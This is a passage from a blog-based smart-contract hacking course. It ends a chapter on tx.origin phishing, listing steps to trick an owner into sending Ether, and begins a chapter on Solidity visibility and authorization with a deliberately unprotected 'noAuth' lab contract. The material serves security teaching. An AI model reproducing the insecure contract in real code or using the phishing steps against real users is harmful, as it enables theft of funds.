<li class="MsoNormal" style="margin-bottom: 0in; margin-top: 0in; mso-add-space: auto; mso-list: l12 level1 lfo9; mso-margin-bottom-alt: 8.0pt; mso-margin-top-alt: 0in;">Send a user a link to a website, perhaps a game
they can play on Ethereum etc<o:p></o:p></li>
<li class="MsoNormal" style="margin-bottom: 0in; margin-top: 0in; mso-add-space: auto; mso-list: l12 level1 lfo9; mso-margin-bottom-alt: 8.0pt; mso-margin-top-alt: 0in;">Sell the owner something and get the owner to
send you any amount of Ether to your contract address. At this point you
would have a fall back function which performs actions on the user’s
behalf simply by sending funds to our contracts account address and having
the fallback function auto execute functionality with the owner’s address.
<o:p></o:p></li>
</ol>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">I hope all of this makes sense. If you got stuck at any
point during this walkthrough make sure to check out the video for a
walkthrough of the lab and additional attack options. <span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><p class="MsoNormal"><o:p>Phishing MITM Attack Walk Through: </o:p></p><p class="MsoNormal"></p><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both;"><br /></div></div><br /><o:p><br /></o:p><p></p><p class="MsoNormal"><o:p><br /></o:p></p>
<iframe allow="autoplay; fullscreen; picture-in-picture" allowfullscreen="" frameborder="0" height="360" src="https://player.vimeo.com/video/637296101?h=ac3b12de17" width="640"></iframe>
<p><a href="https://vimeo.com/637296101">Smart Contract Hacking - 0x10 - Man In The Middle(MITM) Phishing Attacks Via TX.Origin Authorization.mp4</a> from <a href="https://vimeo.com/consolecowboys">Console Cowboys</a> on <a href="https://vimeo.com">Vimeo</a>.</p>
<h2><a name="_Toc47892531"><br /></a></h2><h2><a name="_Toc47892531">References</a><span style="mso-bookmark: _Toc47892531;"></span><span color="windowtext"><o:p></o:p></span></h2>
<p class="MsoNormal">Github code for this chapter:<span style="mso-spacerun: yes;"> </span><a href="https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/Tx.Origin"><span style="color: #6fa8dc;">https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/Tx.Origin</span></a><span style="color: red;"><o:p></o:p></span></p>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-37793474399805690892020-09-13T20:11:00.009-07:002022-08-23T20:49:04.556-07:00Smart Contract Hacking Chapter 5 - Understanding and Attacking Authentication & Authorization On The Ethereum Blockchain<p> </p><p class="MsoNormal">In this chapter we will take a look at bypassing UI
restrictions using Indirect Object Reference (IDOR) vulnerabilities to bypass unprotected
functionality. We will then take a look at various authorization schemes and
how to implement them so you can easily spot authorization issues when
attacking contracts. We will take a look at both simple authorization and
role-based authorization. <o:p></o:p></p><p class="MsoNormal">Contact Info: </p><p class="MsoNormal"><span style="color: #6fa8dc;">Twitter: <a href="https://twitter.com/ficti0n" target="_blank">@ficti0n</a></span></p><p class="MsoNormal"><span style="color: #6fa8dc;">Penetration Testing: <a href="http://cclabs.io" target="_blank">http://cclabs.io</a></span></p>
<p class="MsoNormal" style="break-after: avoid; margin: 2pt 0in 0in; mso-outline-level: 2; mso-pagination: widow-orphan lines-together;"><br /></p>
<h2 style="text-align: left;">Understanding Smart Contract Authorization and Visibility</h2><p class="MsoNormal">Smart contracts function in much the same way as an API that
uses endpoints as interfaces to its functionality. You can code DApps for
various platforms and access needed functionality within smart contracts for
value transfers with functional logic. A common issue in the past was that
smart contract functions had public visibility by default, meaning that they were
accessible by anyone knew how to interact with them. If you didn’t explicitly
define the access level of the function it would automatically default to
public, allowing anyone to call the function and perform actions using the
contracts ABI.<span style="mso-spacerun: yes;"> </span><span face=""Calibri Light",sans-serif" style="color: #2f5496; font-size: 13pt; line-height: 107%; mso-ascii-theme-font: major-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: major-bidi; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: major-fareast; mso-hansi-theme-font: major-latin; mso-themecolor: accent1; mso-themeshade: 191;"><o:p></o:p></span></p>
<p class="MsoNormal">In newer versions of solidity, the compiler will complain
and refuse to compile if you do not explicitly define the visibility of a
function as one of the following: <o:p></o:p></p>
<h2><a name="_Toc47892507">Visibility:</a></h2><h2><o:p></o:p></h2>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->External – Is accessible to other contracts but
cannot be accessed internally to the contract.</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Public - Is accessible to other contracts and
can be accessed internally.</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Internal – Can only be accessed within the
current contract or contracts deriving from it</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Private – These are only visible by the contract
that defined them. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l5 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle"><o:p> </o:p></p>
<p class="MsoListParagraphCxSpLast"><o:p> </o:p></p>
<p class="MsoNormal">A quick example of a pubic vs a private method is as
follows: <o:p></o:p></p>
<p class="MsoNormal">Action Steps: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Open up remix in your browser</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Create a new solidity file named visibility.sol</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Type the following code into the new document
and compile/deploy the contract.</p><p class="MsoListParagraphCxSpLast" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Play with the resulting functionality taking
note of the visibility definitions above. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l9 level1 lfo2; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><span style="mso-bookmark: _Toc47892508;">Simple Visibility Example:</span> <o:p></o:p></h2>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract visibility {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> </span><span style="color: #e28964;">add</span><span style="color: white;">(</span><span style="color: #e28964;">uint</span><span style="color: white;"> _a, </span><span style="color: #e28964;">uint</span><span style="color: white;"> _b) </span><span style="color: #e28964;">private</span><span style="color: white;"> pure returns (</span><span style="color: #e28964;">uint</span><span style="color: white;">){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> _a + _b; <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> get_add_result(</span><span style="color: #e28964;">uint</span><span style="color: white;"> a, </span><span style="color: #e28964;">uint</span><span style="color: white;"> b) </span><span style="color: #e28964;">public</span><span style="color: white;"> pure returns (</span><span style="color: #e28964;">uint</span><span style="color: white;">){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> </span><span style="color: #e28964;">add</span><span style="color: white;">(a, b);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l7 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal">The visibility.sol contract has two functions at lines 5 and
9. The add function at line 9 is set to private which means that you cannot
call it directly from an external call with the contracts ABI, nor with another
contract using an external interface to this contract. However, it is called
via another function within the same contract at line 10. This is because a
function can call private functions within its own contract. Visibility limits
certain functions you can call directly.<span style="mso-spacerun: yes;">
</span><o:p></o:p></p>
<p class="MsoNormal">If we take a look at a screenshot of the deployed contract
you will see that you only have a button to call the public function
get_add_result and not the private add function. Note when submitting of 3 + 4
the get_add_result function is easily able to access the private functionality
even if you cannot directly and 7 is returned. <o:p></o:p></p>
<p class="MsoNormal"><span style="mso-no-proof: yes;"><v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f">
<v:stroke joinstyle="miter">
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0">
<v:f eqn="sum @0 1 0">
<v:f eqn="sum 0 0 @1">
<v:f eqn="prod @2 1 2">
<v:f eqn="prod @3 21600 pixelWidth">
<v:f eqn="prod @3 21600 pixelHeight">
<v:f eqn="sum @0 0 1">
<v:f eqn="prod @6 1 2">
<v:f eqn="prod @7 21600 pixelWidth">
<v:f eqn="sum @8 21600 0">
<v:f eqn="prod @7 21600 pixelHeight">
<v:f eqn="sum @10 21600 0">
</v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas>
<v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f">
<o:lock aspectratio="t" v:ext="edit">
</o:lock></v:path></v:stroke></v:shapetype><v:shape id="Picture_x0020_20" o:spid="_x0000_i1032" style="height: 94.5pt; mso-wrap-style: square; visibility: visible; width: 219.75pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image001.png">
</v:imagedata></v:shape></span><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij7gNs9kIjAcix8d6rV5AU4wlVZltEeiu_urL6J9ToOB2kpUMkSOeR5_9Nt3OcPvIvqQO2jxZ1UCxcSfwrrFmd8_XKkXBj9H31in7y_6Xr56zTxAx0q8Hcy4GZkaB3cnoaIpHUiacr8yPN/s293/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="126" data-original-width="293" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEij7gNs9kIjAcix8d6rV5AU4wlVZltEeiu_urL6J9ToOB2kpUMkSOeR5_9Nt3OcPvIvqQO2jxZ1UCxcSfwrrFmd8_XKkXBj9H31in7y_6Xr56zTxAx0q8Hcy4GZkaB3cnoaIpHUiacr8yPN/w458-h198/1.png" width="458" /></a></div><br /><p></p>
<p class="MsoNormal">Visibility is the first part of the equation and determines
where the function is accessible from. There is also the matter of actual
authorization to access functionality within the smart contract regardless of
its visibility.<span style="mso-spacerun: yes;"> </span>This is not something
that is built in by default and usually managed by the reviewing the address of
the caller and making a decision.<span style="mso-spacerun: yes;"> </span>The
address of the caller is generally going to be the msg.sender unless coded in
alternative ways. We will use those other ways in upcoming chapters to bypass
authorization in unique ways but for now we will focus on msg.sender.<o:p></o:p></p><p class="MsoNormal"><br /></p><p class="MsoNormal">Video WalkThrough of Visibility Code</p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/jPZo0xvfdzk" width="320" youtube-src-id="jPZo0xvfdzk"></iframe></div><br /><p class="MsoNormal"><br /></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892509">Implementing Authorization:</a> <o:p></o:p></h2>
<p class="MsoNormal">Our functions are properly using private and public
variables where appropriate, call it a day we are good to go right?<span style="mso-spacerun: yes;"> </span>Nope not even close, this just means we have
a proper flow to our program and we have limited the visibility of functions
that have no need to have direct interaction with a user.<span style="mso-spacerun: yes;"> </span>This does not stop a malicious hacker from
directly accessing all of our public functions. Many of these public functions
are bound to have sensitive functionality tied to financial transactions or
interact with private functions that have the functionality you are trying to
manipulate. <o:p></o:p></p>
<p class="MsoNormal">In a smart contract we need a way to actually tell who has
access to a public function in order to setup authorized transactions, for
example a bank transfer. Otherwise you would create an account and everyone
would be able to access its funds and transfer the funds out to themselves. An
attacker can call any public function within the contract, even those meant for
administrators only. <o:p></o:p></p>
<p class="MsoNormal">Some examples of administrative functionality you would not
want exposed would be a self-destruct function to render a contract useless or
adding a new administrative account that does have authorization to sensitive
functions. <o:p></o:p></p>
<p class="MsoNormal">To <a name="_Hlk45394988">illust</a>rate this point let’s
take a look at the following contract that has a few sensitive functions but no
protection against unauthorized users. Before you read what the code below
does, try the following steps and take a guess at what it’s doing yourself and
where it should have protections. <o:p></o:p></p>
<p class="MsoNormal">Action Steps: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Open your browser and go to remix.ethereum.org</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Create a new file named noAuth.sol and type in
the following code</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Deploy this contract and play with its deposit
and withdraw functionality</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Do you see any potential issues in authorization?</p><p class="MsoListParagraphCxSpLast" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Do you see any potential issues with the business
logic, etc? </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h3><a name="_Toc47892510">Example Walkthrough of No Authorization</a> <o:p></o:p></h3>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract noAuth {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>mapping (address =></span><span style="color: #e28964;">uint</span><span style="color: white;">) balances;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> deposit() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>balances[msg.sender] = balances[msg.sender]+msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<span style="mso-tab-count: 1;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: 